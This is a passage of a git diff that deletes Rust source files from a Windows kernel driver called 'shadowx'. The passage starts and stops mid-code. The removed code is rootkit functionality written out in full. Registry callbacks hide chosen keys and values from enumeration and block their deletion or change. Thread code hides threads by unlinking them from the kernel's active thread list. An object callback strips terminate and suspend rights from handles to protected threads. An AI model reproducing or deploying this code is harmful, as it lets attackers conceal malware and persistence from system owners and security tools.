((*info).PreInformation as *mut REG_ENUMERATE_KEY_INFORMATION).as_ref() { - Some(pre_info) => pre_info, - None => return STATUS_SUCCESS, - }; - - let mut key_handle = null_mut(); - let status = ObOpenObjectByPointer( - (*info).Object, - OBJ_KERNEL_HANDLE, - null_mut(), - KEY_ALL_ACCESS, - *CmKeyObjectType, - KernelMode as i8, - &mut key_handle - ); - - if !NT_SUCCESS(status) { - error!("ObOpenObjectByPointer Failed With Status: {status}"); - return STATUS_SUCCESS; - } - - let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) { - Some(mem) => mem.ptr as *mut u8, - None => { - error!("PoolMemory (Enumerate Key) Failed"); - ZwClose(key_handle); - return STATUS_SUCCESS; - } - }; - - let mut result_length = 0; - let mut counter = 0; - - while let Some(key_name) = enumerate_key( - key_handle, - pre_info.Index + counter, - buffer, - (*pre_info).Length, - (*pre_info).KeyInformationClass, - &mut result_length - ) { - if !Registry::check_key(format!("{key}\\{key_name}"), HIDE_KEYS.lock()) { - if let Some(pre_info_key_info) = (pre_info.KeyInformation as *mut c_void).as_mut() { - *(*pre_info).ResultLength = result_length; - core::ptr::copy_nonoverlapping(buffer, pre_info_key_info as *mut _ as *mut u8, result_length as usize); - break; - } else { - error!("Failed to copy key information."); - break; - } - - } else { - counter += 1; - } - } - - ZwClose(key_handle); - STATUS_SUCCESS -} - -/// Handles the pre-query key operation. -/// -/// # Arguments -/// -/// * `info` - A pointer to `REG_QUERY_KEY_INFORMATION`. -/// -/// # Returns -/// -/// * A status code indicating success or failure. -unsafe fn pre_query_key(info: *mut REG_QUERY_KEY_INFORMATION) -> NTSTATUS { - let status; - if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) { - return STATUS_SUCCESS; - } - - let key = match read_key(info) { - Ok(key) => key, - Err(err) => return err - }; - - status = if Registry::check_key(key.clone(), HIDE_KEYS.lock()) { - STATUS_SUCCESS - } else { - STATUS_SUCCESS - }; - - status -} - -/// Handles the pre-delete value key operation. -/// -/// # Arguments -/// -/// * `info` - A pointer to `REG_DELETE_VALUE_KEY_INFORMATION`. -/// -/// # Returns -/// -/// * A status code indicating success or failure. -unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> NTSTATUS { - if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) { - return STATUS_SUCCESS; - } - - let key = match read_key(info) { - Ok(key) => key, - Err(err) => return err - }; - - let value_name = (*info).ValueName; - if (*info).ValueName.is_null() || (*value_name).Buffer.is_null() || (*value_name).Length == 0 || !valid_kernel_memory((*value_name).Buffer as u64) { - return STATUS_SUCCESS; - } - - let buffer = core::slice::from_raw_parts((*value_name).Buffer, ((*value_name).Length / 2) as usize); - let name = String::from_utf16_lossy(buffer); - if Registry::<(String, String)>::check_target(key.clone(), name.clone(), PROTECTION_KEY_VALUES.lock()) { - STATUS_ACCESS_DENIED - } else { - STATUS_SUCCESS - } -} - -/// Handles the pre-set value key operation. -/// -/// # Arguments -/// -/// * `info` - A pointer to `REG_SET_VALUE_KEY_INFORMATION`. -/// -/// # Returns -/// -/// * A status code indicating success or failure. -unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATUS { - if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) { - return STATUS_SUCCESS; - } - - let key = match read_key(info) { - Ok(key) => key, - Err(err) => return err - }; - - let value_name = (*info).ValueName; - if (*info).ValueName.is_null() || (*value_name).Buffer.is_null() || (*value_name).Length == 0 || !valid_kernel_memory((*value_name).Buffer as u64) { - return STATUS_SUCCESS; - } - - let buffer = core::slice::from_raw_parts((*value_name).Buffer,((*value_name).Length / 2) as usize); - let name = String::from_utf16_lossy(buffer); - if Registry::check_target(key.clone(), name.clone(), PROTECTION_KEY_VALUES.lock()) { - STATUS_ACCESS_DENIED - } else { - STATUS_SUCCESS - } -} - -/// Reads the key name from the registry information. -/// -/// # Arguments -/// -/// * `info` - A pointer to the registry information. -/// -/// # Returns -/// -/// * `Ok(String)` - The key name. -/// * `Err(NTSTATUS)` - error status. -unsafe fn read_key(info: *mut T) -> Result { - let mut reg_path: PCUNICODE_STRING = core::ptr::null_mut(); - let status = CmCallbackGetKeyObjectIDEx( - core::ptr::addr_of_mut!(CALLBACK_REGISTRY), - (*info).get_object(), - null_mut(), - &mut reg_path, - 0 - ); - - if !NT_SUCCESS(status) { - return Err(STATUS_SUCCESS) - } - - if reg_path.is_null() || (*reg_path).Buffer.is_null() || (*reg_path).Length == 0 || !valid_kernel_memory((*reg_path).Buffer as u64) { - CmCallbackReleaseKeyObjectIDEx(reg_path); - return Err(STATUS_SUCCESS); - } - - let buffer = core::slice::from_raw_parts((*reg_path).Buffer, ((*reg_path).Length / 2) as usize); - let name = String::from_utf16_lossy(buffer); - - CmCallbackReleaseKeyObjectIDEx(reg_path); - - Ok(name) -} diff --git a/crates/shadowx/src/registry/mod.rs b/crates/shadowx/src/registry/mod.rs deleted file mode 100644 index f5dccca..0000000 --- a/crates/shadowx/src/registry/mod.rs +++ /dev/null @@ -1,265 +0,0 @@ -use { - utils::Type, - core::marker::PhantomData, - common::structs::TargetRegistry, - spin::{ - lazy::Lazy, - Mutex, MutexGuard - }, - alloc::{ - vec::Vec, - string::{String, ToString} - }, - wdk_sys::{ - NTSTATUS, STATUS_DUPLICATE_OBJECTID, - STATUS_SUCCESS, STATUS_UNSUCCESSFUL - } -}; - -pub mod callback; -pub mod utils; - -const MAX_REGISTRY: usize = 100; - -/// List of protection key-value pairs. -/// -/// This list stores key-value pairs that are protected. -/// It is guarded by a mutex to ensure thread-safe access. -pub static PROTECTION_KEY_VALUES: Lazy>> = Lazy::new(|| - Mutex::new(Vec::with_capacity(MAX_REGISTRY)) -); - -/// List of protection keys. -/// -/// This list stores keys that are protected. It is guarded by a mutex to ensure thread-safe access. -static PROTECTION_KEYS: Lazy>> = Lazy::new(|| - Mutex::new(Vec::with_capacity(MAX_REGISTRY)) -); - -/// List of hidden keys. -/// -/// This list stores keys that have been hidden. It is protected by a mutex for thread-safe operations. -static HIDE_KEYS: Lazy>> = Lazy::new(|| - Mutex::new(Vec::with_capacity(MAX_REGISTRY)) -); - -/// List of hidden key-value pairs. -/// -/// This list stores key-value pairs that have been hidden. It is protected by a mutex for thread-safe operations. -static HIDE_KEY_VALUES: Lazy>> = Lazy::new(|| - Mutex::new(Vec::with_capacity(MAX_REGISTRY)) -); - -/// Trait defining common operations for registry lists. -/// -/// This trait provides methods for adding, removing, and checking items in registry lists. -trait RegistryList { - /// Adds an item to the registry list. - /// - /// # Arguments - /// - /// * `list` - A mutable reference to the list. - /// * `item` - The item to be added. - /// - /// # Returns - /// - /// * Status code indicating success (`STATUS_SUCCESS`), duplicate (`STATUS_DUPLICATE_OBJECTID`), - /// or failure (`STATUS_UNSUCCESSFUL`). - fn add_item(list: &mut Vec, item: T) -> NTSTATUS; - - /// Removes an item from the registry list. - /// - /// # Arguments - /// - /// * `list` - A mutable reference to the list. - /// * `item` - The item to be removed. - /// - /// # Returns - /// - /// * Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`). - fn remove_item(list: &mut Vec, item: &T) -> NTSTATUS; - - /// Checks if an item is in the registry list. - /// - /// # Arguments - /// - /// * `list` - A reference to the list. - /// * `item` - The item to be checked. - /// - /// # Returns - /// - /// * Returns `true` if the item is in the list, `false` otherwise. - fn contains_item(list: &Vec, item: &T) -> bool; -} - -/// Implementation of `RegistryList` for key-value pairs. -impl RegistryList<(String, String)> for Vec<(String, String)> { - fn add_item(list: &mut Vec<(String, String)>, item: (String, String)) -> NTSTATUS { - if list.len() >= MAX_REGISTRY { - return STATUS_UNSUCCESSFUL; - } - - if list.iter().any(|(k, v)| k == &item.0 && v == &item.1) { - return STATUS_DUPLICATE_OBJECTID; - } - - list.push(item); - STATUS_SUCCESS - } - - fn remove_item(list: &mut Vec<(String, String)>, item: &(String, String)) -> NTSTATUS { - if let Some(index) = list.iter().position(|(k, v)| k == &item.0 && v == &item.1) { - list.remove(index); - STATUS_SUCCESS - } else { - STATUS_UNSUCCESSFUL - } - } - - fn contains_item(list: &Vec<(String, String)>, item: &(String, String)) -> bool { - list.contains(item) - } -} - -/// Implementation of `RegistryList` for strings. -impl RegistryList for Vec { - fn add_item(list: &mut Vec, item: String) -> NTSTATUS { - if list.len() >= MAX_REGISTRY { - return STATUS_UNSUCCESSFUL; - } - - if list.contains(&item) { - return STATUS_DUPLICATE_OBJECTID; - } - - list.push(item); - STATUS_SUCCESS - } - - fn remove_item(list: &mut Vec, item: &String) -> NTSTATUS { - if let Some(index) = list.iter().position(|k| k == item) { - list.remove(index); - STATUS_SUCCESS - } else { - STATUS_UNSUCCESSFUL - } - } - - fn contains_item(list: &Vec, item: &String) -> bool { - list.contains(item) - } -} - -/// Structure representing registry operations. -/// -/// The `Registry` structure handles operations for adding, removing, and checking keys or key-value pairs -/// in the registry. -pub struct Registry { - _marker: PhantomData, -} - -impl Registry<(String, String)> { - /// Adds or removes a key-value pair from the list of protected or hidden values. - /// - /// # Arguments - /// - /// * `target` - A pointer to a `TargetRegistry` structure representing the key-value pair. - /// * `type_` - An enum indicating whether to protect or hide the key-value pair. - /// - /// # Returns - /// - /// * Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`). - pub fn modify_key_value(target: *mut TargetRegistry, type_: Type) -> NTSTATUS { - let key = unsafe { (*target).key.clone() }; - let value = unsafe { (*target).value.clone() }; - let enable = unsafe { (*target).enable }; - - let status = match type_ { - Type::Protect => { - let mut list = PROTECTION_KEY_VALUES.lock(); - if enable { - Vec::<(String, String)>::add_item(&mut list, (key, value)) - } else { - Vec::<(String, String)>::remove_item(&mut list, &(key, value)) - } - } - Type::Hide => { - let mut list = HIDE_KEY_VALUES.lock(); - if enable { - Vec::<(String, String)>::add_item(&mut list, (key, value)) - } else { - Vec::<(String, String)>::remove_item(&mut list, &(key, value)) - } - } - }; - - status - } - - /// Checks if a key-value pair exists in the list of protected values. - /// - /// # Arguments - /// - /// * `key` - The key to check. - /// * `value` - The value to check. - /// * `list` - A guard that provides access to the list. - /// - /// # Returns - /// - /// * Returns `true` if the key-value pair exists in the list, or `false` otherwise. - pub fn check_target(key: String, value: String, list: MutexGuard>) -> bool { - Vec::<(String, String)>::contains_item(&list, &(key, value)) - } -} - -impl Registry { - /// Adds or removes a key from the list of protected or hidden keys. - /// - /// # Arguments - /// - /// * `target` - A pointer to a `TargetRegistry` structure representing the key. - /// * `list_type` - An enum indicating whether to protect or hide the key. - /// - /// # Returns - /// - /// * Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`). - pub fn modify_key(target: *mut TargetRegistry, list_type: Type) -> NTSTATUS { - let key = unsafe { &(*target).key }.to_string(); - let enable = unsafe { (*target).enable }; - - let status = match list_type { - Type::Protect => { - let mut list = PROTECTION_KEYS.lock(); - if enable { - Vec::add_item(&mut list, key) - } else { - Vec::remove_item(&mut list, &key) - } - } - Type::Hide => { - let mut list = HIDE_KEYS.lock(); - if enable { - Vec::add_item(&mut list, key) - } else { - Vec::remove_item(&mut list, &key) - } - } - }; - - status - } - - /// Checks if a key exists in the list of protected keys. - /// - /// # Arguments - /// - /// * `key` - The key to check. - /// * `list` - A guard that provides access to the list. - /// - /// # Returns - /// - /// * Returns `true` if the key exists in the list, or `false` otherwise. - pub fn check_key(key: String, list: MutexGuard>) -> bool { - Vec::contains_item(&list, &key) - } -} diff --git a/crates/shadowx/src/registry/utils.rs b/crates/shadowx/src/registry/utils.rs deleted file mode 100644 index 7a1dfc7..0000000 --- a/crates/shadowx/src/registry/utils.rs +++ /dev/null @@ -1,300 +0,0 @@ -#![allow(non_upper_case_globals)] - -use { - log::error, - alloc::{format, string::String}, - core::{ - slice::from_raw_parts, - ffi::c_void, mem::size_of, - }, - wdk_sys::{ - *, - ntddk::{ZwEnumerateKey, ZwEnumerateValueKey}, - _KEY_INFORMATION_CLASS::{ - KeyBasicInformation, - KeyNameInformation - }, - _KEY_VALUE_INFORMATION_CLASS::{ - KeyValueFullInformationAlign64, - KeyValueBasicInformation, - KeyValueFullInformation, - }, - }, -}; - -use super::{Registry, HIDE_KEYS, HIDE_KEY_VALUES}; - -/// Checks if a specified registry key is present in the list of hidden keys. -/// -/// This function checks if the provided registry key exists among the list of hidden keys, using -/// the information from the registry operation. -/// -/// # Arguments -/// -/// * `info` - Pointer to the operation information structure containing registry details. -/// * `key` - The name of the registry key to be checked. -/// -/// # Returns -/// -/// * Returns `true` if the key is found in the hidden keys list, otherwise returns `false`. -pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool { - // Extracting pre-information from the registry operation - let info_class = (*info).PreInformation as *mut REG_ENUMERATE_KEY_INFORMATION; - - match (*info_class).KeyInformationClass { - // Check for basic key information - KeyBasicInformation => { - let basic_information = (*info_class).KeyInformation as *mut KEY_BASIC_INFORMATION; - let name = from_raw_parts((*basic_information).Name.as_ptr(), - ((*basic_information).NameLength / size_of::() as u32) as usize); - - // Construct the full key path - let key = format!("{key}\\{}", String::from_utf16_lossy(name)); - if Registry::check_key(key.clone(), HIDE_KEYS.lock()) { - return true; - } - }, - // Check for key name information - KeyNameInformation => { - let basic_information = (*info_class).KeyInformation as *mut KEY_NAME_INFORMATION; - let name = from_raw_parts((*basic_information).Name.as_ptr(), - ((*basic_information).NameLength / size_of::() as u32) as usize); - - // Construct the full key path - let key = format!("{key}\\{}", String::from_utf16_lossy(name)); - if Registry::check_key(key.clone(), HIDE_KEYS.lock()) { - return true; - } - }, - _ => {} - } - - false -} - -/// Checks if a specified registry key-value pair is present in the list of hidden key-values. -/// -/// This function checks if the provided registry key-value pair exists among the list of hidden key-values, -/// using information from the registry value operation. -/// -/// # Arguments -/// -/// * `info` - Pointer to the operation information structure containing registry value details. -/// * `key` - The name of the registry key associated with the value to be checked. -/// -/// # Returns -/// -/// * Returns `true` if the key-value pair is found in the hidden key-values list, otherwise returns `false`. -pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool { - // Extracting pre-information from the registry operation - let info_class = (*info).PreInformation as *const REG_ENUMERATE_VALUE_KEY_INFORMATION; - - match (*info_class).KeyValueInformationClass { - // Check for basic key value information - KeyValueBasicInformation => { - let value = (*info_class).KeyValueInformation as *const KEY_VALUE_BASIC_INFORMATION; - let name = from_raw_parts((*value).Name.as_ptr(), - ((*value).NameLength / size_of::() as u32) as usize); - let value = String::from_utf16_lossy(name); - - if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) { - return true; - } - }, - // Check for full key value information - KeyValueFullInformationAlign64 | KeyValueFullInformation => { - let value = (*info_class).KeyValueInformation as *const KEY_VALUE_FULL_INFORMATION; - let name = from_raw_parts((*value).Name.as_ptr(), - ((*value).NameLength / size_of::() as u32) as usize); - let value = String::from_utf16_lossy(name); - - if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) { - return true; - } - }, - _ => {} - } - - false -} - -/// Enumerates the specified registry key and retrieves its name. -/// -/// This function enumerates the registry key based on the provided index and information class, -/// returning the key name in the desired format. -/// -/// # Arguments -/// -/// * `key_handle` - Handle of the target registry key. -/// * `index` - The index to be enumerated. -/// * `buffer` - Buffer that will store the registry key information. -/// * `buffer_size` - Size of the buffer. -/// * `key_information` - Type of information to retrieve about the target registry key. -/// * `result_length` - Pointer to store the size of the result. -/// -/// # Returns -/// -/// * Returns `Some(String)` containing the name of the registry key if successful, -/// otherwise returns `None`. -pub unsafe fn enumerate_key( - key_handle: HANDLE, - index: u32, - buffer: *mut u8, - buffer_size: u32, - key_information: KEY_INFORMATION_CLASS, - result_length: &mut u32 -) -> Option { - // Enumerate the registry key using ZwEnumerateKey - let status = ZwEnumerateKey( - key_handle, - index, - key_information, - buffer as *mut c_void, - buffer_size, - result_length, - ); - - // Check if there are no more entries - if status == STATUS_NO_MORE_ENTRIES { - return None; - } - - // Check if the operation was successful - if !NT_SUCCESS(status) { - error!("ZwEnumerateKey Failed With Status: {status}"); - return None; - } - - // Process the key information based on the specified class - match key_information { - KeyBasicInformation => { - let basic_information = &*(buffer as *const KEY_BASIC_INFORMATION); - let name = from_raw_parts( - (*basic_information).Name.as_ptr(), - ((*basic_information).NameLength / size_of::() as u32) as usize, - ); - - Some(String::from_utf16_lossy(name)) - }, - KeyNameInformation => { - let basic_information = &*(buffer as *const KEY_NAME_INFORMATION); - let name = from_raw_parts( - (*basic_information).Name.as_ptr(), - ((*basic_information).NameLength / size_of::() as u32) as usize, - ); - Some(String::from_utf16_lossy(name)) - }, - _ => None, - } -} - -/// Enumerates the values of the specified registry key. -/// -/// This function enumerates the values of the registry key based on the provided index and information class, -/// returning the value name in the desired format. -/// -/// # Arguments -/// -/// * `key_handle` - Handle of the target registry key. -/// * `index` - The index to be enumerated. -/// * `buffer` - Buffer that will store the registry key values. -/// * `buffer_size` - Size of the buffer. -/// * `key_value_information` - Type of information to retrieve about the registry key value. -/// * `result_length` - Pointer to store the size of the result. -/// -/// # Returns -/// -/// * Returns `Some(String)` containing the name of the registry key value if successful, -/// otherwise returns `None`. -pub unsafe fn enumerate_value_key( - key_handle: HANDLE, - index: u32, - buffer: *mut u8, - buffer_size: u32, - key_value_information: KEY_VALUE_INFORMATION_CLASS, - result_length: &mut u32 -) -> Option { - // Enumerate the registry value using ZwEnumerateValueKey - let status = ZwEnumerateValueKey( - key_handle, - index, - key_value_information, - buffer as *mut c_void, - buffer_size, - result_length, - ); - - // Check if there are no more entries - if status == STATUS_NO_MORE_ENTRIES { - return None; - } - - // Check if the operation was successful - if !NT_SUCCESS(status) { - error!("ZwEnumerateValueKey Failed With Status: {status}"); - return None; - } - - // Process the key value information based on the specified class - match key_value_information { - KeyValueBasicInformation | KeyValueFullInformationAlign64 | KeyValueFullInformation => { - let value_info = &*(buffer as *const KEY_VALUE_FULL_INFORMATION); - let value_name_utf16: &[u16] = from_raw_parts( - value_info.Name.as_ptr(), - (value_info.NameLength / size_of::() as u32) as usize, - ); - Some(String::from_utf16_lossy(value_name_utf16)) - }, - _ => None, - } -} - -/// Trait for accessing the object in registry information. -/// -/// This trait defines a method to retrieve a pointer to the registry object from different registry information structures. -pub trait RegistryInfo { - /// Retrieves a pointer to the registry object. - /// - /// # Returns - /// - /// * A raw pointer to the registry object. - fn get_object(&self) -> *mut c_void; -} - -impl RegistryInfo for REG_DELETE_KEY_INFORMATION { - fn get_object(&self) -> *mut c_void { - self.Object - } -} - -impl RegistryInfo for REG_DELETE_VALUE_KEY_INFORMATION { - fn get_object(&self) -> *mut c_void { - self.Object - } -} - -impl RegistryInfo for REG_SET_VALUE_KEY_INFORMATION { - fn get_object(&self) -> *mut c_void { - self.Object - } -} - -impl RegistryInfo for REG_QUERY_KEY_INFORMATION { - fn get_object(&self) -> *mut c_void { - self.Object - } -} - -impl RegistryInfo for REG_POST_OPERATION_INFORMATION { - fn get_object(&self) -> *mut c_void { - self.Object - } -} - -/// Enum representing the types of operations to be done with the Registry. -pub enum Type { - /// Hides the specified key or key-value. - Hide, - /// Protects the specified key or key-value from being modified. - Protect, -} diff --git a/crates/shadowx/src/thread/callback.rs b/crates/shadowx/src/thread/callback.rs deleted file mode 100644 index 6665ccc..0000000 --- a/crates/shadowx/src/thread/callback.rs +++ /dev/null @@ -1,125 +0,0 @@ -use { - alloc::vec::Vec, - spin::{lazy::Lazy, Mutex}, - common::structs::TargetThread, - wdk_sys::{ - *, - ntddk::PsGetThreadId, - _OB_PREOP_CALLBACK_STATUS::{ - Type, OB_PREOP_SUCCESS - }, - } -}; - -pub struct ThreadCallback; - -const MAX_TID: usize = 100; - -/// Handle for the thread callback registration. -pub static mut CALLBACK_REGISTRATION_HANDLE_THREAD: *mut core::ffi::c_void = core::ptr::null_mut(); - -/// List of the target TIDs -static TARGET_TIDS: Lazy>> = Lazy::new(|| - Mutex::new(Vec::with_capacity(MAX_TID)) -); - -impl ThreadCallback { - /// Method for adding the list of threads that will have anti-kill / dumping protection. - /// - /// # Arguments - /// - /// * `tid` - The identifier of the target process (tid) to be hidden. - /// - /// # Returns - /// - /// * A status code indicating the success or failure of the operation. - pub fn add_target_tid(tid: usize) -> NTSTATUS { - let mut tids = TARGET_TIDS.lock(); - - if tids.len() >= MAX_TID { - return STATUS_QUOTA_EXCEEDED; - } - - if tids.contains(&tid) { - return STATUS_DUPLICATE_OBJECTID; - } - - tids.push(tid); - - STATUS_SUCCESS - } - - /// Method for removing the list of threads that will have anti-kill / dumping protection. - /// - /// # Arguments - /// - /// * `tid` - The identifier of the target process (tid) to be hidden. - /// - /// # Returns - /// - /// * A status code indicating the success or failure of the operation. - pub fn remove_target_tid(tid: usize) -> NTSTATUS { - let mut tids = TARGET_TIDS.lock(); - - if let Some(index) = tids.iter().position(|&x| x == tid) { - tids.remove(index); - STATUS_SUCCESS - } else { - STATUS_UNSUCCESSFUL - } - } - - /// Enumerate threads Protect. - /// - /// # Arguments - /// - /// * `info_process` - It is a parameter of type `Infothreads` that will send the threads that are currently protected. - /// * `information` - It is a parameter of type `usize` that will be updated with the total size of the filled `Infothreads` structures. - /// - /// # Returns - /// - /// * A status code indicating success or failure of the operation. - pub unsafe fn enumerate_protection_thread() -> Vec { - let mut threads: Vec = Vec::new(); - let thread_info = TARGET_TIDS.lock(); - for i in thread_info.iter() { - threads.push(TargetThread { - tid: *i, - ..Default::default() - }); - } - - threads - } - - /// Pre-operation callback for thread opening that modifies the desired access rights to prevent certain actions on specific threads. - /// - /// # Arguments - /// - /// * `_registration_context` - A pointer to the registration context (unused). - /// * `info` - A pointer to the `OB_PRE_OPERATION_INFORMATION` structure containing information about the operation. - /// - /// # Returns - /// - /// * A status code indicating the success of the pre-operation. - pub unsafe extern "C" fn on_pre_open_thread( - _registration_context: *mut core::ffi::c_void, - info: *mut OB_PRE_OPERATION_INFORMATION, - ) -> Type { - if (*info).__bindgen_anon_1.__bindgen_anon_1.KernelHandle() == 1 { - return OB_PREOP_SUCCESS; - } - - let thread = (*info).Object as PETHREAD; - let tid = PsGetThreadId(thread) as usize; - let tids = TARGET_TIDS.lock(); - - if tids.contains(&tid) { - let mask = !(THREAD_TERMINATE | THREAD_SUSPEND_RESUME | THREAD_GET_CONTEXT | THREAD_SET_CONTEXT); - (*(*info).Parameters).CreateHandleInformation.DesiredAccess &= mask; - } - - OB_PREOP_SUCCESS - } -} - diff --git a/crates/shadowx/src/thread/mod.rs b/crates/shadowx/src/thread/mod.rs deleted file mode 100644 index cb331e5..0000000 --- a/crates/shadowx/src/thread/mod.rs +++ /dev/null @@ -1,210 +0,0 @@ -use { - alloc::vec::Vec, - wdk_sys::{ntddk::*, *}, - spin::{mutex::Mutex, lazy::Lazy}, - common::structs::TargetThread, - crate::{ - error::ShadowError, - lock::with_push_lock_exclusive, - offsets::{ - get_thread_list_entry_offset, - get_thread_lock_offset - } - }, -}; - -pub mod callback; -pub use callback::*; - -const MAX_TID: usize = 100; - -/// List of target threads protected by a mutex. -pub static THREAD_INFO_HIDE: Lazy>> = Lazy::new(|| Mutex::new(Vec::with_capacity(MAX_TID))); - -/// Represents a thread in the operating system. -/// -/// The `Thread` struct provides a safe abstraction over the `ETHREAD` structure used -/// in Windows kernel development. It allows for looking up a thread by its TID and ensures -/// proper cleanup of resources when the structure goes out of scope. -pub struct Thread { - /// Pointer to the ETHREAD structure, used for managing thread information. - pub e_thread: PETHREAD, -} - -impl Thread { - /// Creates a new `Thread` instance by looking up a thread by its TID. - /// - /// This method attempts to find a thread using its thread identifier (TID). If the thread - /// is found, it returns an instance of the `Thread` structure containing a pointer to the - /// `ETHREAD` structure. - /// - /// # Arguments - /// - /// * `tid` - The thread identifier (TID) of the thread to be looked up. - /// - /// # Returns - /// - /// * `Ok(Self)` - Returns a `Thread` instance if the thread lookup is successful. - /// * `Err(ShadowError)` - Returns an error message if the lookup fails. - /// - /// # Examples - /// - /// ```rust - /// let thread = Thread::new(1234); - /// match thread { - /// Ok(thre) => println!("Thread found: {:?}", thre.e_thread), - /// Err(e) => println!("Error: {}", e), - /// } - /// ``` - #[inline] - pub fn new(tid: usize) -> Result { - let mut thread = core::ptr::null_mut(); - - let status = unsafe { PsLookupThreadByThreadId(tid as _, &mut thread) }; - if NT_SUCCESS(status) { - Ok(Self { e_thread: thread }) - } else { - Err(ShadowError::ApiCallFailed("PsLookupThreadByThreadId", status)) - } - } -} - -/// Implements the `Drop` trait for the `Thread` structure to handle cleanup when the structure goes out of scope. -/// -/// The `Drop` implementation ensures that the reference count on the `ETHREAD` structure -/// is properly decremented when the `Thread` instance is dropped. This prevents resource leaks. -impl Drop for Thread { - /// Cleans up the resources held by the `Thread` structure. - /// - /// This method decrements the reference count of the `ETHREAD` structure when the - /// `Thread` instance is dropped, ensuring proper cleanup. - fn drop(&mut self) { - if !self.e_thread.is_null() { - unsafe { ObfDereferenceObject(self.e_thread as _) }; - } - } -} - -impl Thread { - /// Hides a thread by removing it from the active thread list in the operating system. - /// - /// This method hides a thread by unlinking it from the active thread list (`LIST_ENTRY`) in the OS. - /// It uses synchronization locks to ensure thread safety while modifying the list. Once the thread is hidden, - /// it is no longer visible in the system's active thread chain. - /// - /// # Arguments - /// - /// * `tid` - The thread identifier (TID) of the target thread to be hidden. - /// - /// # Returns - /// - /// * `Ok(LIST_ENTRY)` - Returns the previous `LIST_ENTRY` containing the pointers to the neighboring threads - /// in the list before it was modified. - /// * `Err(ShadowError)` - Returns an error if the thread lookup fails or the operation encounters an issue. - pub unsafe fn hide_thread(tid: usize) -> Result { - // Getting offsets based on the Windows build number - let active_thread_link = get_thread_list_entry_offset(); - let offset_lock = get_thread_lock_offset(); - - // Retrieving ETHREAD from the target thread - let thread = Self::new(tid)?; - - // Retrieve the `LIST_ENTRY` for the active thread link, which connects the thread - // to the list of active threads in the system. - let current = thread.e_thread.cast::().offset(active_thread_link) as PLIST_ENTRY; - let push_lock = thread.e_thread.cast::().offset(offset_lock) as *mut u64; - - // Use synchronization to ensure thread safety while modifying the list - with_push_lock_exclusive(push_lock, || { - // The next thread in the chain - let next = (*current).Flink; - - // The previous thread in the chain - let previous = (*current).Blink; - - // Storing the previous list entry, which will be returned - let previous_link = LIST_ENTRY { - Flink: next as *mut LIST_ENTRY, - Blink: previous as *mut LIST_ENTRY, - }; - - // Unlink the thread from the active list - (*next).Blink = previous; - (*previous).Flink = next; - - // Make the current list entry point to itself to hide the thread - (*current).Flink = current; - (*current).Blink = current; - - Ok(previous_link) - }) - } - - /// Unhides a thread by restoring it to the active thread list in the operating system. - /// - /// This method restores a previously hidden thread back into the active thread list by re-linking - /// its `LIST_ENTRY` pointers (`Flink` and `Blink`) to the adjacent threads in the list. The function - /// uses synchronization locks to ensure thread safety while modifying the list. - /// - /// # Arguments - /// - /// * `tid` - The thread identifier (TID) of the target thread to be unhidden. - /// * `list_entry` - A pointer to the previous `LIST_ENTRY`, containing the neighboring threads in the list, - /// which was saved when the thread was hidden. - /// - /// # Returns - /// - /// * `Ok(NTSTATUS)` - Indicates the thread was successfully restored to the active list. - /// * `Err(ShadowError)` - Returns an error if the thread lookup fails or the operation encounters an issue. - pub unsafe fn unhide_thread(tid: usize, list_entry: PLIST_ENTRY) -> Result { - // Getting offsets based on the Windows build number - let active_thread_link = get_thread_list_entry_offset(); - let offset_lock = get_thread_lock_offset(); - - // Retrieving ETHREAD from the target thread - let thread = Self::new(tid)?; - - // Retrieve the `LIST_ENTRY` for the active thread link, which connects the thread - // to the list of active threads in the system. - let current = thread.e_thread.cast::().offset(active_thread_link) as PLIST_ENTRY; - let push_lock = thread.e_thread.cast::().offset(offset_lock) as *mut u64; - - // Use synchronization to ensure thread safety while modifying the list - with_push_lock_exclusive(push_lock, || { - // Restore the `Flink` and `Blink` from the saved `list_entry` - (*current).Flink = (*list_entry).Flink as *mut _LIST_ENTRY; - (*current).Blink = (*list_entry).Blink as *mut _LIST_ENTRY; - - // Re-link the process to the neighboring processes in the chain - let next = (*current).Flink; - let previous = (*current).Blink; - - (*next).Blink = current; - (*previous).Flink = current; - }); - - Ok(STATUS_SUCCESS) - } - - /// Enumerates all currently hidden threads. - /// - /// This function iterates through the list of hidden threads stored in `THREAD_INFO_HIDE` and returns - /// a vector containing their information. - /// - /// # Returns - /// - /// * A vector containing the information of all hidden threads. - pub unsafe fn enumerate_hide_threads() -> Vec { - let mut threads: Vec = Vec::new(); - let thread_info = THREAD_INFO_HIDE.lock(); - for i in thread_info.iter() { - threads.push(TargetThread { - tid: (*i).tid as usize, - ..Default::default() - }); - } - - threads - } - -} \ No newline at end of file diff --git a/crates/shadowx/src/utils/address.rs b/crates/shadowx/src/utils/address.rs deleted file mode 100644 index 38067ba..0000000 --- a/crates/shadowx/src/utils/address.rs +++ /dev/null @@ -1,106 +0,0 @@ -use { - super::pool::PoolMemory, - alloc::string::ToString, - winapi::um::winnt::RtlZeroMemory, - wdk_sys::{POOL_FLAG_NON_PAGED, NT_SUCCESS}, - core::{ffi::{c_void, CStr}, ptr::null_mut, slice::from_raw_parts}, - ntapi::{ - ntexapi::SystemModuleInformation, - ntzwapi::ZwQuerySystemInformation - }, - winapi::um::winnt::{ - IMAGE_DOS_HEADER, IMAGE_EXPORT_DIRECTORY, - IMAGE_NT_HEADERS64, - } -}; - -use crate::{ - error::ShadowError, - SystemModuleInformation -}; - -/// Gets the base address of a specified module by querying system module information. -/// This function queries the system for all loaded modules and compares their names -/// to the provided module name to find the base address. -/// -/// # Arguments -/// -/// * `module_name` - A string slice containing the name of 